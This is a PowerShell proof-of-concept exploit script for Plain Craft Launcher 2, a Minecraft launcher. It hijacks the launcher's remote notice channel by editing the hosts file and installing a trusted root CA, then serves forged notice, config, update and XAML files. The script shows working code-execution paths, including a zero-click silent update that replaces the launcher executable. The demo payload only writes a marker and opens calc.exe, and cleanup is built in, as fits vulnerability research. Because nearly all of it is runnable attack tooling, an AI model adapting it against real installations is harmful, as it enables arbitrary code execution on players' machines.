Invoke-PCLPoC.ps1 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543
  1. #Requires -Version 5.1
  2. <#
  3. .SYNOPSIS
  4. PCL2 (Plain Craft Launcher 2) notice.json local-hijack PoC.
  5. .DESCRIPTION
  6. Installs a lab CA into the machine root store, points the PCL notice CDN
  7. hostname at 127.0.0.1, serves forged notice.cfg / notice.json /
  8. ServerConfig.json / update.zip from server.py, starts the supplied PCL
  9. build, and verifies that the payload (marker + calc.exe) was executed.
  10. Modes:
  11. launch : notice.json -> actions.setup -> LaunchAdvanceRun = payload.
  12. The payload fires when you click "Start Game" in PCL.
  13. (Reproduces the sample notice supplied by the requester.)
  14. update : notice.cfg v999 + notice.json -> actions.slientupdate +
  15. ServerConfig DownloadUrls -> update.zip = payload renamed to
  16. "Plain Craft Launcher 2.exe". Zero-click: PCL downloads and
  17. extracts it, then executes it when PCL exits.
  18. xaml : notice.json -> actions.setup -> remote Custom.xaml homepage
  19. + HintCustomCommand=true. Two PCL starts: the first writes
  20. the settings, the second loads the XAML; one click on the
  21. injected button runs the payload.
  22. both : launch + update (default).
  23. Run this only in an isolated Windows VM. It modifies the hosts file,
  24. the machine root certificate store and the PCL settings; cleanup is
  25. attempted in the finally block.
  26. .PARAMETER PclPath
  27. Path to the PCL executable. Defaults to ..\Plain Craft Launcher 2.exe.
  28. .PARAMETER Port
  29. Local HTTPS port (default 443, requires administrator).
  30. .PARAMETER Timeout
  31. Seconds to wait for the payload marker (default 180).
  32. .PARAMETER KeepArtifacts
  33. Do not delete the marker / payload / staging exe after the run.
  34. .EXAMPLE
  35. powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
  36. #>
  37. [CmdletBinding()]
  38. param(
  39. [ValidateSet('launch', 'update', 'xaml', 'both')]
  40. [string]$Mode = 'both',
  41. [string]$PclPath = '',
  42. [int]$Port = 443,
  43. [int]$Timeout = 180,
  44. [string]$PythonExe = '',
  45. [ValidateSet('auto', 'powershell', 'python')]
  46. [string]$Server = 'auto',
  47. [switch]$KeepArtifacts,
  48. [switch]$Pause,
  49. [switch]$Manual
  50. )
  51. $ErrorActionPreference = 'Stop'
  52. $Domain = 'pcl2-server-1253424809.file.myqcloud.com'
  53. $PocDir = Split-Path -Parent $MyInvocation.MyCommand.Path
  54. $HostsFile = Join-Path $env:SystemRoot 'System32\drivers\etc\hosts'
  55. $PublicDir = if ($env:PUBLIC) { $env:PUBLIC } else { 'C:\Users\Public' }
  56. $PayloadExe = Join-Path $PublicDir 'pclpoc.exe'
  57. $MarkerFile = Join-Path $env:TEMP 'pcl-poc-marker.txt'
  58. $BackupDir = Join-Path $PocDir 'backup'
  59. $RunLog = Join-Path $PocDir 'poc-run.log'
  60. $pauseArg = if ($Pause) { ' -Pause' } else { '' }
  61. $usePsServer = ($Server -ne 'python')
  62. $manualArg = if ($Manual) { ' -Manual' } else { '' }
  63. function Write-Log {
  64. param([string]$Message)
  65. $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
  66. Write-Host $line
  67. Add-Content -LiteralPath $RunLog -Value $line -Encoding UTF8
  68. }
  69. function Test-Admin {
  70. $id = [Security.Principal.WindowsIdentity]::GetCurrent()
  71. $pr = New-Object Security.Principal.WindowsPrincipal($id)
  72. return $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
  73. }
  74. function Wait-Port {
  75. param([int]$TcpPort, [int]$Seconds = 15)
  76. $sw = [Diagnostics.Stopwatch]::StartNew()
  77. while ($sw.Elapsed.TotalSeconds -lt $Seconds) {
  78. try {
  79. $c = New-Object Net.Sockets.TcpClient
  80. $c.Connect('127.0.0.1', $TcpPort)
  81. $c.Close()
  82. return $true
  83. } catch {
  84. Start-Sleep -Milliseconds 250
  85. }
  86. }
  87. return $false
  88. }
  89. function Close-Pcl {
  90. param([System.Diagnostics.Process]$Process)
  91. if ($null -eq $Process -or $Process.HasExited) { return }
  92. Write-Log "Closing PCL PID $($Process.Id) ..."
  93. $null = $Process.CloseMainWindow()
  94. if (-not $Process.WaitForExit(10000)) {
  95. try {
  96. $ws = New-Object -ComObject WScript.Shell
  97. $null = $ws.AppActivate($Process.Id)
  98. Start-Sleep -Milliseconds 300
  99. $ws.SendKeys('%{F4}')
  100. Start-Sleep -Milliseconds 800
  101. $ws.SendKeys('{ENTER}')
  102. } catch { }
  103. $null = $Process.WaitForExit(8000)
  104. }
  105. if (-not $Process.HasExited) {
  106. Write-Log 'PCL did not exit gracefully, killing it (silent-update restart may be skipped).'
  107. Stop-Process -Id $Process.Id -Force
  108. }
  109. }
  110. # --------------------------------------------------------------------------
  111. # PowerShell 7 compatibility: the payload compiler below needs Windows
  112. # PowerShell 5.1 (`Add-Type -OutputType ConsoleApplication` is unsupported in
  113. # pwsh 7). Re-launch under 5.1 once, preserving elevation.
  114. # --------------------------------------------------------------------------
  115. if ($PSVersionTable.PSEdition -eq 'Core' -and $env:PCLPOC_PS51 -ne '1') {
  116. Write-Host '[*] PowerShell 7 detected; switching to Windows PowerShell 5.1 ...'
  117. $q = "`$env:PCLPOC_PS51='1'; & '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
  118. $ps51Args = @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q)
  119. try {
  120. if (Test-Admin) {
  121. Start-Process -FilePath 'powershell.exe' -ArgumentList $ps51Args | Out-Null
  122. } else {
  123. Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList $ps51Args | Out-Null
  124. }
  125. exit
  126. } catch {
  127. Write-Warning "Could not start powershell.exe 5.1 ($($_.Exception.Message)); continuing in pwsh."
  128. }
  129. }
  130. # --------------------------------------------------------------------------
  131. # elevation
  132. # --------------------------------------------------------------------------
  133. if (-not (Test-Admin)) {
  134. Write-Host '[*] Administrator privileges are required; relaunching elevated ...'
  135. $q = "& '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
  136. Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList @(
  137. '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q
  138. ) | Out-Null
  139. exit
  140. }
  141. New-Item -ItemType Directory -Force -Path $BackupDir | Out-Null
  142. Set-Content -LiteralPath $RunLog -Value "PCL2 notice.json PoC - $(Get-Date -Format o)" -Encoding UTF8
  143. $srv = $null
  144. $pcl = $null
  145. $caCert = $null
  146. $leafCert = $null
  147. $hostsBackup = Join-Path $BackupDir 'hosts.bak'
  148. $setupIni = $null
  149. $setupBackup = $null
  150. $regBackup = Join-Path $BackupDir 'pcl-reg.bak.reg'
  151. $stagingExe = $null
  152. $stagingExisted = $false
  153. try {
  154. # ----------------------------------------------------------------------
  155. # resolve paths / python
  156. # ----------------------------------------------------------------------
  157. if (-not $PclPath -and -not $Manual) {
  158. $PclPath = Join-Path (Split-Path -Parent $PocDir) 'Plain Craft Launcher 2.exe'
  159. }
  160. if ($PclPath) {
  161. if (-not (Test-Path -LiteralPath $PclPath)) {
  162. throw "PCL executable not found: $PclPath"
  163. }
  164. $PclPath = (Resolve-Path -LiteralPath $PclPath).Path
  165. $PclDir = Split-Path -Parent $PclPath
  166. Write-Log "PCL: $PclPath"
  167. } else {
  168. Write-Log 'No PclPath: server-only manual mode; all PCL-specific steps are skipped.'
  169. Write-Log 'WARNING: PCL Setup.ini is not backed up; use a disposable PCL copy.'
  170. Write-Log 'WARNING: staging cleanup is skipped; delete <your PCL>\PCL\Plain Craft Launcher 2.exe manually.'
  171. }
  172. if (-not $usePsServer) {
  173. $pyPrefix = @()
  174. if ($PythonExe) {
  175. $pc = Get-Command $PythonExe -ErrorAction SilentlyContinue
  176. if ($pc) {
  177. $pyPath = $pc.Source
  178. } elseif (Test-Path -LiteralPath $PythonExe) {
  179. $pyPath = (Resolve-Path -LiteralPath $PythonExe).Path
  180. } else {
  181. throw "PythonExe not found: $PythonExe"
  182. }
  183. if ([IO.Path]::GetFileName($pyPath) -ieq 'py.exe') { $pyPrefix = @('-3') }
  184. } else {
  185. $pyPath = $null
  186. foreach ($name in @('python.exe', 'py.exe', 'python3.exe')) {
  187. foreach ($c in @(Get-Command $name -All -ErrorAction SilentlyContinue)) {
  188. if ($c.Source -like '*\WindowsApps\*') {
  189. Write-Log "Skipping Microsoft Store alias: $($c.Source)"
  190. continue
  191. }
  192. $pyPath = $c.Source
  193. if ($name -ieq 'py.exe') { $pyPrefix = @('-3') }
  194. break
  195. }
  196. if ($pyPath) { break }
  197. }
  198. if (-not $pyPath) {
  199. throw "No real Python 3 found. The python.exe in WindowsApps is a Microsoft Store alias and cannot run server.py. Install Python from python.org (check 'Add python.exe to PATH'), or run: winget install -e --id Python.Python.3.12 Then rerun with -PythonExe C:\Path\to\python.exe if needed."
  200. }
  201. }
  202. $ver = (& $pyPath @pyPrefix --version 2>&1) -join ' '
  203. if ($LASTEXITCODE -ne 0) {
  204. throw "Python failed to run: $pyPath $($pyPrefix -join ' ') --version => $ver"
  205. }
  206. Write-Log "Python: $pyPath ($ver)"
  207. }
  208. # ----------------------------------------------------------------------
  209. # backup / patch hosts
  210. # ----------------------------------------------------------------------
  211. Copy-Item -LiteralPath $HostsFile -Destination $hostsBackup -Force
  212. $hostsLines = Get-Content -LiteralPath $HostsFile -ErrorAction SilentlyContinue
  213. if (-not ($hostsLines -match "(^|\s)$([regex]::Escape($Domain))(\s|$)")) {
  214. Add-Content -LiteralPath $HostsFile -Value "`r`n127.0.0.1 $Domain" -Encoding ASCII
  215. Write-Log "hosts: $Domain -> 127.0.0.1"
  216. } else {
  217. Write-Log 'hosts already contains the lab entry.'
  218. }
  219. & ipconfig.exe /flushdns 2>$null | Out-Null
  220. Write-Log 'DNS cache flushed.'
  221. # ----------------------------------------------------------------------
  222. # trust the lab CA
  223. # ----------------------------------------------------------------------
  224. if ($usePsServer) {
  225. Write-Log 'Generating lab CA and leaf certificates ...'
  226. $caCert = New-SelfSignedCertificate -Subject 'CN=PCL2 PoC Lab CA' `
  227. -CertStoreLocation 'Cert:\CurrentUser\My' -KeyUsage CertSign,CRLSign `
  228. -TextExtension @('2.5.29.19={critical}{text}ca=1') -NotAfter (Get-Date).AddYears(10)
  229. $leafCert = New-SelfSignedCertificate -DnsName $Domain -Signer $caCert `
  230. -CertStoreLocation 'Cert:\CurrentUser\My' `
  231. -TextExtension @('2.5.29.37={text}1.3.6.1.5.5.7.3.1') -NotAfter (Get-Date).AddYears(10)
  232. $caCer = Join-Path $BackupDir 'poc-ca.cer'
  233. Export-Certificate -Cert $caCert -FilePath $caCer -Force | Out-Null
  234. Import-Certificate -FilePath $caCer -CertStoreLocation 'Cert:\LocalMachine\Root' | Out-Null
  235. Write-Log "CA generated: $($caCert.Thumbprint)"
  236. Write-Log "leaf generated: $($leafCert.Thumbprint)"
  237. } else {
  238. $caPath = Join-Path $PocDir 'certs\ca.crt'
  239. $caCert = Import-Certificate -FilePath $caPath -CertStoreLocation 'Cert:\LocalMachine\Root'
  240. Write-Log "CA imported: $($caCert.Thumbprint)"
  241. }
  242. # ----------------------------------------------------------------------
  243. # build the payload (marker + calc.exe)
  244. # ----------------------------------------------------------------------
  245. $payloadCode = @'
  246. using System;
  247. using System.Diagnostics;
  248. using System.IO;
  249. public class PclPocPayload
  250. {
  251. public static void Main(string[] args)
  252. {
  253. try
  254. {
  255. string marker = Path.Combine(Path.GetTempPath(), "pcl-poc-marker.txt");
  256. string line = DateTime.Now.ToString("o") + " pid=" +
  257. Process.GetCurrentProcess().Id + " args=" + string.Join(" ", args) +
  258. Environment.NewLine;
  259. File.AppendAllText(marker, line);
  260. }
  261. catch { }
  262. try { Process.Start("calc.exe"); } catch { }
  263. }
  264. }
  265. '@
  266. if (Test-Path -LiteralPath $PayloadExe) { Remove-Item -LiteralPath $PayloadExe -Force }
  267. try {
  268. Add-Type -TypeDefinition $payloadCode -OutputAssembly $PayloadExe -OutputType ConsoleApplication -ErrorAction Stop
  269. Write-Log "payload compiled: $PayloadExe"
  270. } catch {
  271. Write-Log "payload compile failed ($($_.Exception.Message)); falling back to calc.exe copy"
  272. Copy-Item -LiteralPath (Join-Path $env:SystemRoot 'System32\calc.exe') -Destination $PayloadExe -Force
  273. }
  274. # ----------------------------------------------------------------------
  275. # back up PCL state that the notice will modify
  276. # ----------------------------------------------------------------------
  277. if ($PclDir) {
  278. $setupIni = Join-Path $PclDir 'PCL\Setup.ini'
  279. if (Test-Path -LiteralPath $setupIni) {
  280. $setupBackup = Join-Path $BackupDir 'Setup.ini.bak'
  281. Copy-Item -LiteralPath $setupIni -Destination $setupBackup -Force
  282. }
  283. }
  284. & cmd.exe /c "reg export `"HKCU\Software\PCL`" `"$regBackup`" /y >nul 2>&1"
  285. # reset notice bookkeeping so our id is always considered new
  286. & cmd.exe /c "reg add `"HKCU\Software\PCL`" /v HintNotice /t REG_SZ /d 0 /f >nul 2>&1"
  287. # remove stale caches
  288. $cacheDir = Join-Path $env:TEMP 'PCL\Cache'
  289. foreach ($n in @('Notice.json', 'Notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
  290. Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
  291. }
  292. Remove-Item -LiteralPath $MarkerFile -Force -ErrorAction SilentlyContinue
  293. if ($PclDir) {
  294. $stagingExe = Join-Path $PclDir 'PCL\Plain Craft Launcher 2.exe'
  295. if (Test-Path -LiteralPath $stagingExe) {
  296. $stagingExisted = $true
  297. Copy-Item -LiteralPath $stagingExe -Destination (Join-Path $BackupDir 'staging.bak') -Force
  298. Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
  299. }
  300. }
  301. # ----------------------------------------------------------------------
  302. # start the forged HTTPS server
  303. # ----------------------------------------------------------------------
  304. $zip = Join-Path $PocDir 'www\update.zip'
  305. Remove-Item -LiteralPath $zip -Force -ErrorAction SilentlyContinue
  306. $stdout = Join-Path $BackupDir 'server.out.log'
  307. $stderr = Join-Path $BackupDir 'server.err.log'
  308. if ($usePsServer) {
  309. $serverScript = Join-Path $PocDir 'server.ps1'
  310. $serverArgs = @(
  311. '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', ('"' + $serverScript + '"'),
  312. '-Mode', $Mode,
  313. '-Bind', '127.0.0.1',
  314. '-Port', $Port,
  315. '-PayloadExe', ('"' + $PayloadExe + '"'),
  316. '-CertThumbprint', $leafCert.Thumbprint
  317. )
  318. $srv = Start-Process -FilePath 'powershell.exe' -ArgumentList $serverArgs `
  319. -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
  320. } else {
  321. $serverScript = Join-Path $PocDir 'server.py'
  322. $serverArgs = @(
  323. ('"' + $serverScript + '"'),
  324. '--mode', $Mode,
  325. '--bind', '127.0.0.1',
  326. '--port', $Port,
  327. '--payload-exe', ('"' + $PayloadExe + '"')
  328. )
  329. $srv = Start-Process -FilePath $pyPath -ArgumentList (@($pyPrefix) + $serverArgs) `
  330. -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
  331. }
  332. if (-not (Wait-Port -TcpPort $Port -Seconds 15)) {
  333. $tail = ''
  334. if (Test-Path -LiteralPath $stderr) {
  335. $tail = ((Get-Content -LiteralPath $stderr -Tail 30 -ErrorAction SilentlyContinue) -join [Environment]::NewLine)
  336. }
  337. throw "PoC server did not listen on port $Port. Server stderr:`n$tail`nSee $stderr"
  338. }
  339. Write-Log "PoC server listening on https://127.0.0.1:$Port (mode=$Mode)"
  340. # ----------------------------------------------------------------------
  341. # start PCL
  342. # ----------------------------------------------------------------------
  343. if ($Manual) {
  344. Write-Log 'Manual mode: PCL will not be started or closed by this script.'
  345. Write-Host ''
  346. Write-Host '>>> MANUAL MODE: start and close PCL yourself.' -ForegroundColor Yellow
  347. if ($PclPath) {
  348. Write-Host ">>> PCL: $PclPath"
  349. } else {
  350. Write-Host '>>> PCL: your own copy (this script does not track or touch it)'
  351. }
  352. $stagingLabel = if ($stagingExe) { $stagingExe } else { '<your PCL folder>\PCL\Plain Craft Launcher 2.exe' }
  353. switch ($Mode) {
  354. 'update' { Write-Host ">>> Wait until this file exists: $stagingLabel" }
  355. 'both' { Write-Host ">>> Wait until this file exists: $stagingLabel" }
  356. 'launch' { Write-Host '>>> In PCL, click "Start Game".' }
  357. 'xaml' { Write-Host '>>> Start PCL, wait about 20 seconds, close it, start it again, then click "Continue".' }
  358. }
  359. Write-Host '>>> Then close PCL normally (for update mode) or finish the click.'
  360. Write-Host '>>> The server keeps running while you work.'
  361. Write-Host '>>> When done, press Enter in THIS window to verify and cleanup.'
  362. Write-Host ''
  363. Read-Host 'Press Enter to stop the server and cleanup'
  364. } else {
  365. Write-Log 'Starting PCL ...'
  366. $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
  367. Write-Log "PCL PID $($pcl.Id)"
  368. if ($Mode -eq 'update' -or $Mode -eq 'both') {
  369. Write-Log 'Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...'
  370. $sw = [Diagnostics.Stopwatch]::StartNew()
  371. while ($sw.Elapsed.TotalSeconds -lt 120) {
  372. if ((Test-Path -LiteralPath $stagingExe) -and ((Get-Item -LiteralPath $stagingExe).Length -gt 0)) {
  373. Write-Log 'update payload staged.'
  374. break
  375. }
  376. Start-Sleep -Milliseconds 500
  377. }
  378. if (-not (Test-Path -LiteralPath $stagingExe)) {
  379. Write-Log 'WARNING: update payload was not staged; check server logs and PCL logs.'
  380. }
  381. Start-Sleep -Seconds 2
  382. Close-Pcl -Process $pcl
  383. }
  384. if ($Mode -eq 'xaml') {
  385. Write-Log 'First start: writing malicious settings, then restarting PCL.'
  386. Start-Sleep -Seconds 20
  387. Close-Pcl -Process $pcl
  388. Start-Sleep -Seconds 2
  389. $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
  390. Write-Log "PCL PID $($pcl.Id) (second start)"
  391. Write-Log 'Waiting for Custom.xaml to be downloaded ...'
  392. $xamlCache = Join-Path $cacheDir 'Custom.xaml'
  393. $sw = [Diagnostics.Stopwatch]::StartNew()
  394. while ($sw.Elapsed.TotalSeconds -lt 60) {
  395. if (Test-Path -LiteralPath $xamlCache) { break }
  396. Start-Sleep -Milliseconds 500
  397. }
  398. Write-Host ''
  399. Write-Host '>>> Fake Custom.xaml loaded. Click "Continue" on the PCL home page.' -ForegroundColor Yellow
  400. Write-Host ''
  401. } elseif ($Mode -eq 'launch') {
  402. Write-Host ''
  403. Write-Host '>>> In PCL, click "Start Game" (a working Minecraft instance is required).' -ForegroundColor Yellow
  404. Write-Host '>>> This is what runs the LaunchAdvanceRun payload.' -ForegroundColor Yellow
  405. Write-Host ''
  406. }
  407. }
  408. # ----------------------------------------------------------------------
  409. # wait for the marker
  410. # ----------------------------------------------------------------------
  411. if (-not $Manual) {
  412. Write-Log "Waiting up to $Timeout seconds for $MarkerFile ..."
  413. $sw = [Diagnostics.Stopwatch]::StartNew()
  414. while ($sw.Elapsed.TotalSeconds -lt $Timeout) {
  415. if (Test-Path -LiteralPath $MarkerFile) { break }
  416. if ($pcl -and $pcl.HasExited -and $Mode -ne 'update' -and $Mode -ne 'both') { break }
  417. Start-Sleep -Milliseconds 500
  418. }
  419. }
  420. if (Test-Path -LiteralPath $MarkerFile) {
  421. Write-Host ''
  422. Write-Host '[+] SUCCESS: payload executed.' -ForegroundColor Green
  423. Get-Content -LiteralPath $MarkerFile | ForEach-Object { Write-Host " $_" }
  424. Write-Host ''
  425. } else {
  426. Write-Host ''
  427. Write-Host '[-] No marker file was produced.' -ForegroundColor Red
  428. if ($PclDir) {
  429. Write-Host " PCL log: $PclDir\PCL\Log*.txt"
  430. }
  431. Write-Host " server log: $stdout"
  432. Write-Host ''
  433. }
  434. if ($pcl -and -not $pcl.HasExited) {
  435. Write-Log 'Leaving PCL running for inspection.'
  436. }
  437. }
  438. catch {
  439. Write-Host ''
  440. Write-Host "[-] ERROR: $($_.Exception.Message)" -ForegroundColor Red
  441. try { Write-Log "ERROR: $($_.Exception.Message)" } catch { }
  442. }
  443. finally {
  444. Write-Log 'Cleanup ...'
  445. if ($srv -and -not $srv.HasExited) {
  446. Stop-Process -Id $srv.Id -Force -ErrorAction SilentlyContinue
  447. }
  448. if ($pcl -and -not $pcl.HasExited) {
  449. try { $pcl.CloseMainWindow() | Out-Null } catch { }
  450. Start-Sleep -Milliseconds 500
  451. if (-not $pcl.HasExited) { Stop-Process -Id $pcl.Id -Force -ErrorAction SilentlyContinue }
  452. }
  453. if ($caCert) {
  454. Remove-Item -LiteralPath "Cert:\LocalMachine\Root\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
  455. if ($usePsServer) {
  456. Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
  457. }
  458. Write-Log 'CA removed.'
  459. }
  460. if ($leafCert) {
  461. Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($leafCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
  462. Write-Log 'leaf certificate removed.'
  463. }
  464. if (Test-Path -LiteralPath $hostsBackup) {
  465. Copy-Item -LiteralPath $hostsBackup -Destination $HostsFile -Force
  466. Write-Log 'hosts restored.'
  467. }
  468. if ($setupBackup -and (Test-Path -LiteralPath $setupBackup)) {
  469. Copy-Item -LiteralPath $setupBackup -Destination $setupIni -Force
  470. }
  471. if (Test-Path -LiteralPath $regBackup) {
  472. & cmd.exe /c "reg import `"$regBackup`" >nul 2>&1"
  473. Write-Log 'PCL registry restored.'
  474. }
  475. if ($stagingExisted -and (Test-Path -LiteralPath (Join-Path $BackupDir 'staging.bak'))) {
  476. Copy-Item -LiteralPath (Join-Path $BackupDir 'staging.bak') -Destination $stagingExe -Force -ErrorAction SilentlyContinue
  477. } elseif (-not $stagingExisted -and $stagingExe -and (Test-Path -LiteralPath $stagingExe)) {
  478. Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
  479. }
  480. if (-not $setupBackup -and $setupIni -and (Test-Path -LiteralPath $setupIni)) {
  481. Remove-Item -LiteralPath $setupIni -Force -ErrorAction SilentlyContinue
  482. }
  483. if ($cacheDir) {
  484. foreach ($n in @('Notice.json', 'notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
  485. Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
  486. }
  487. }
  488. if (-not $KeepArtifacts) {
  489. Remove-Item -LiteralPath $PayloadExe -Force -ErrorAction SilentlyContinue
  490. }
  491. Write-Log 'Done.'
  492. }
  493. if ($Pause) {
  494. Write-Host ''
  495. Read-Host 'Press Enter to close'
  496. }